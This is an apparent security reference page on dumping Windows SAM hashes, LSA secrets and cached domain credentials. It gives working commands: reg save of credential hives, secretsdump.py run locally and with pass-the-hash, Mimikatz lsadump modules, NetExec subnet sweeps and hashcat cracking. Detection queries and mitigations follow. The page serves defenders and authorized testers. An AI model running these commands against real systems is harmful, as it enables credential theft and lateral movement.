How it works
Besides the live sessions in LSASS memory, a Windows computer keeps three credential stores on disk, inside registry hives. All three are protected with keys that are themselves on the same computer, so anyone who can read the hives as SYSTEM, or who holds a copy of the files, can decrypt them.
| Store | Hive and key | What it holds | How it is used |
|---|---|---|---|
| Security Account Manager (SAM) | HKLM\SAM |
NT hashes of local accounts, including the built-in Administrator | Pass the hash to this and other computers that share the password; offline cracking |
| LSA secrets | HKLM\SECURITY\Policy\Secrets |
Passwords of services that run under named accounts, the computer account's password, auto-logon passwords, DPAPI system keys | Cleartext logon as the service account; authentication as the computer |
| Cached domain credentials | HKLM\SECURITY\Cache |
Verifiers of the last domain users who logged on interactively | Offline password guessing only |
The boot key that unlocks all of this is assembled from values in HKLM\SYSTEM, which is why every tool asks for the SYSTEM hive together with SAM or SECURITY.
Local SAM. The SAM holds the password hashes of the local accounts on workstations and member servers. A local account name can recur on many hosts. When the password recurs too, because the same image or the same script set it, one dumped hash opens every computer that shares it.
LSA secrets. LSA private data includes the credentials of services configured to run under named accounts. The Service Control Manager needs the real password to start the service, so the secret is stored recoverably and decrypts to cleartext. The same store holds the computer's own domain account secret and, where auto-logon is configured, the logon password. Managed service accounts and built-in identities (LocalSystem, NetworkService) do not leave a human-chosen password there.
Cached domain logon. So that a domain user can log on when no domain controller is reachable, Windows stores a verifier for each of the most recent domain logons. The policy "Interactive logon: Number of previous logons to cache" sets how many; the default is 10. The format on current Windows versions is known as DCC2 or MSCacheV2. It is commonly documented as PBKDF2-HMAC-SHA1 with 10,240 iterations, salted with the lowercased user name, computed over the NT hash. It is a different thing from the NT hash: it cannot be replayed, only guessed against offline, and the iteration count makes guessing expensive. The cache count is a maximum; it says nothing about how many entries exist or whose they are.
Prerequisites
- Local administrator or SYSTEM on the target, for the live registry. Reading the protected keys needs SYSTEM-level access or the matching LSA policy rights.
- Or offline access to the hive files: a backup, a virtual disk, a volume shadow copy, or the files under
C:\Windows\System32\config\. - For remote dumping: administrator rights on the target over SMB, and the Remote Registry service (the tools start it if it is stopped).
- For the stores to pay off: a local password reused on other hosts, a service running under a domain account, or a cached privileged user with a guessable password.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Save the hives and parse them offline
reg save is built into Windows. From an elevated prompt:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
The files are copied off the host and parsed with Impacket. LOCAL tells secretsdump to work on files instead of connecting anywhere:
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
The output has three parts: local SAM hashes (user:rid:lmhash:nthash), cached domain logon information ($DCC2$10240#user#hash) and LSA secrets (_SC_<service> entries with cleartext passwords, $MACHINE.ACC, DefaultPassword, DPAPI_SYSTEM, NL$KM). -outputfile writes each part to its own file, and -history adds password history.
pypykatz reads the same files:
pypykatz registry system.save --sam sam.save --security security.save
2. Or read the live registry with Mimikatz
Mimikatz needs a SYSTEM token to open the protected keys:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # lsadump::secrets
mimikatz # lsadump::cache
The SAM can also be parsed from saved hive files:
mimikatz # lsadump::sam /system:system.save /sam:sam.save
3. Or dump remotely
With administrator credentials, secretsdump reads SAM, LSA secrets and cached credentials over the Remote Registry protocol. It reads what it can directly, saves the hives to a temporary directory on the target for the rest, and restores the state of any service it had to start:
# Prompts for the password
secretsdump.py corp.example.com/alice@192.0.2.30
# Pass the hash of a local administrator
secretsdump.py -hashes <LMHASH>:<NTHASH> Administrator@192.0.2.30
NetExec wraps the same methods and runs them across many hosts at once:
nxc smb 192.0.2.0/24 -u alice -p '<password>' --sam
nxc smb 192.0.2.0/24 -u alice -p '<password>' --lsa
# With a local account
nxc smb 192.0.2.30 -u Administrator -p '<password>' --local-auth --sam
4. Use each kind of material
- Local NT hashes are passed to other computers. Remote administrative access with a local account is limited by UAC remote restrictions to the built-in Administrator (RID 500) unless that restriction has been relaxed, which is why that account's hash is the one that matters.
- Service account passwords from LSA secrets are cleartext and work for any logon type. A domain service account found on one server often has rights on many.
- The machine account secret authenticates as the computer in the domain, and its key can be used to forge service tickets for that host (a Silver Ticket).
- Cached verifiers go to a cracking rig:
# DCC2 / MSCacheV2
hashcat -m 2100 dcc2.txt wordlist.txt
# Local NT hashes, when the plaintext is wanted
hashcat -m 1000 sam-nt.txt wordlist.txt
Impact
The attacker turns administrator rights on one computer into credentials that work elsewhere: credential theft from storage, which works even when nobody is signed in and LSASS holds nothing of interest.
- A shared local Administrator password gives lateral movement to every computer built from the same image.
- A service account password in LSA secrets gives everything that account can reach, in clear, until someone changes it.
- A cached verifier of an administrator who once logged on is an offline guessing target that the domain never sees. See offline password cracking.
The same hives exist on domain controllers, where the SAM holds the Directory Services Restore Mode account and the SECURITY hive holds the controller's own secrets. A backup or disk image of any Windows computer contains all three stores.
OPSEC and artifacts
- Saving hives with built-in tools.
reg saveneeds no foreign binary, but the command line is distinctive: process creation auditing (event 4688) or Sysmon event 1 recordsreg.exe save HKLM\SAMandHKLM\SECURITY. The saved files must then be written and moved, which leaves file creation and transfer traces. Operators write them to a memory-backed or remote path and delete them, but the process event remains. - Remote registry. The remote method opens the
winregnamed pipe over theIPC$share. With Audit Detailed File Share enabled, event 5145 on the target showsIPC$withwinreginRelativeTargetName, alongside a network logon (event 4624 type 3) with administrator privileges (event 4672). If the Remote Registry service was stopped, the tool starts it, and the Service Control Manager logs the state change in the System log. - Temporary hive files. For the parts it cannot read directly, secretsdump saves hives to a temporary directory on the target and reads them over SMB. The files are removed afterwards; their creation is still visible to file monitoring.
- Sweeping a subnet. Running
--samagainst a whole range produces the same logon, pipe and registry pattern on every host from one source within minutes. - Offline copies leave nothing. Hives taken from a backup, a virtual disk or a shadow copy produce no event on the computer they came from. Evidence then exists only in the backup system, the hypervisor or the storage layer.
- Cracking is invisible. Guessing against a cached verifier happens on the attacker's hardware.
- What no event shows. There is no single event that says which hash or verifier left a host. A confirmed hive read means every credential in the three stores at that time has to be treated as disclosed.
Detection
- Hive save commands.
reg.exewithsaveorexportandHKLM\SAM,HKLM\SECURITYorHKLM\SYSTEMon the command line. Legitimate uses are rare and belong to known backup tooling. - Remote registry access by a user account. Event 5145 for the
winregpipe from a workstation, especially when one source touches many hosts. - Registry key access. With an audit entry on the
SAMandSECURITY\Policy\Secretskeys and Audit Registry enabled, handle requests appear in events 4656 and 4663. EDR products raise the same access as a credential dumping alert. - Use of the result. Network logons with the built-in Administrator over NTLM across several computers are covered by the pass the hash detection rules. A service account that logs on interactively, or from a host where its service does not run, points to a password taken from LSA secrets.
// Registry hive saves on the command line
WindowsEvent
| where Channel == "Security" and EventID == 4688
| extend Process = tostring(EventData.NewProcessName),
CommandLine = tostring(EventData.CommandLine),
Account = tostring(EventData.SubjectUserName)
| where Process endswith @"\reg.exe"
| where CommandLine has_any ("save", "export")
| where CommandLine has_any (@"hklm\sam", @"hklm\security", @"hklm\system",
@"HKEY_LOCAL_MACHINE\SAM", @"HKEY_LOCAL_MACHINE\SECURITY")
| project TimeGenerated, Computer, Account, CommandLine
The command line field is filled only when "Include command line in process creation events" is enabled. Routine service startup reads LSA private data all the time, so that alone proves nothing; look for the reader, not the read.
Mitigation
- Give every computer its own local administrator password. Windows LAPS rotates it and stores it in the directory. Check that the managed account is the one actually in use, that rotation succeeds, and who is allowed to read the passwords. Local accounts that LAPS does not manage need their own review.
- Run services under group managed service accounts. A gMSA leaves no human-chosen password in LSA secrets. The gMSA guide covers the migration; where a conventional account must stay, rotate it across all dependent services and nodes together.
- Do not run services as privileged domain accounts. Every local administrator of that server can read the password. See how to secure Active Directory service accounts.
- Limit cached logons. Lower "Interactive logon: Number of previous logons to cache" on servers and fixed workstations. Weigh offline logon needs before lowering it on laptops and emergency-use systems.
- Put privileged users in Protected Users. No cached verifier is created for members, so their passwords cannot be guessed from a stolen cache. See the Protected Users guide.
- Keep privileged accounts off lower-tier hosts, so that neither the cache nor a service configuration there contains them.
- Remove auto-logon passwords and restrict remote use of local accounts.
- Protect backups, images and virtual disks of Windows computers as strictly as the computers themselves.
- Do not rely on memory protections here. LSA protection and Credential Guard, covered in the LSA protection guide, guard LSASS memory, not these registry stores.
When a hive read is confirmed, reset the local accounts, rotate the service accounts found in LSA secrets, reset the computer account, and have the owners of cached accounts decide on a reset based on password strength and account sensitivity.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between SAM, LSA secrets and cached credentials?
The SAM holds the NT hashes of the computer's local accounts. LSA secrets hold data the system must be able to recover in clear: the passwords of services that run under named accounts, the computer's own domain account password, auto-logon passwords. Cached credentials are verifiers of the last domain users who logged on, kept so they can log on when no domain controller is reachable.
Can a cached domain credential be used for pass the hash?
No. The cached verifier (DCC2, also called MSCacheV2) is a salted, iterated derivation of the NT hash. It cannot be replayed to another system. It can only be attacked by offline password guessing, which is slow, so it pays off only against weak passwords.
Does LSA protection or Credential Guard prevent this?
No. Both protect the memory of the LSASS process. The SAM, LSA secrets and the logon cache are stored in registry hives on disk, and an administrator, or anyone holding a copy of the disk, can read them. The defenses are unique local passwords, managed service accounts and limits on what is cached.
Why is a service account password stored in clear?
The Service Control Manager has to log the service on with the account's password every time it starts, so the password is saved as LSA private data that the system can decrypt. Any local administrator can read it back. A group managed service account avoids a human-chosen password there.
References
- OS Credential Dumping: Security Account Manager, T1003.002 (MITRE ATT&CK)
- OS Credential Dumping: LSA Secrets, T1003.004 (MITRE ATT&CK)
- OS Credential Dumping: Cached Domain Credentials, T1003.005 (MITRE ATT&CK)
- Cached domain logon information (Microsoft Learn)
- LsaRetrievePrivateData function (Microsoft Learn)
- secretsdump.py (Impacket)
- Mimikatz wiki: lsadump module
- Windows LAPS overview (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.